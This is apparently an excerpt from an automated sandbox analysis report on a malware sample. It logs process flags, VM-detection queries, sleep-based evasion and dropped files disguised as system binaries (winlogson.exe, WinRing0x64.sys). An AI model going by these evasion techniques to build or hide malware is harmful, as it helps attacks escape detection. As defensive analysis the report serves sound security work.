Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\dmikhsv\file_scaricato.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\dmikhsv\file_scaricato.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Memory allocated: CC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Memory allocated: 28F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Memory allocated: 2800000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Thread delayed: delay time: 599342	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Thread delayed: delay time: 599066	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Thread delayed: delay time: 598842	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Thread delayed: delay time: 598734	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Thread delayed: delay time: 598625	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Thread delayed: delay time: 598516	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5506	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4329	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4158	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5641	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Window / User API: threadDelayed 618	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Window / User API: threadDelayed 3329	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Window / User API: threadDelayed 3008	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Window / User API: threadDelayed 2385	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Window / User API: threadDelayed 1866	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7249
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2445

Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Dropped PE file which has not been started: C:\ProgramData\Dllhost\WinRing0x64.sys			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Dropped PE file which has not been started: C:\ProgramData\Dllhost\winlogson.exe			Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7884	Thread sleep count: 5506 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7884	Thread sleep count: 4329 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7932	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8096	Thread sleep count: 4158 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8096	Thread sleep count: 5641 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8140	Thread sleep time: -21213755684765971s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8152	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe TID: 1104	Thread sleep count: 618 > 30	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe TID: 2432	Thread sleep count: 3329 > 30	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe TID: 2432	Thread sleep time: -3329000s >= -30000s	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe TID: 752	Thread sleep count: 3008 > 30	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe TID: 752	Thread sleep time: -3008000s >= -30000s	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe TID: 5396	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe TID: 7252	Thread sleep count: 2385 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe TID: 7520	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe TID: 7520	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe TID: 7508	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe TID: 7520	Thread sleep time: -599890s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe TID: 1960	Thread sleep count: 324 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe TID: 1960	Thread sleep count: 1866 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe TID: 7520	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe TID: 7520	Thread sleep time: -599672s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe TID: 1596	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe TID: 7520	Thread sleep time: -599562s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe TID: 7520	Thread sleep time: -599453s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe TID: 7520	Thread sleep time: -599342s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe TID: 7520	Thread sleep time: -599234s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe TID: 7520	Thread sleep time: -599066s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe TID: 7520	Thread sleep time: -598842s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe TID: 7520	Thread sleep time: -598734s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe TID: 7520	Thread sleep time: -598625s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe TID: 7520	Thread sleep time: -598516s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7816	Thread sleep count: 7249 > 30
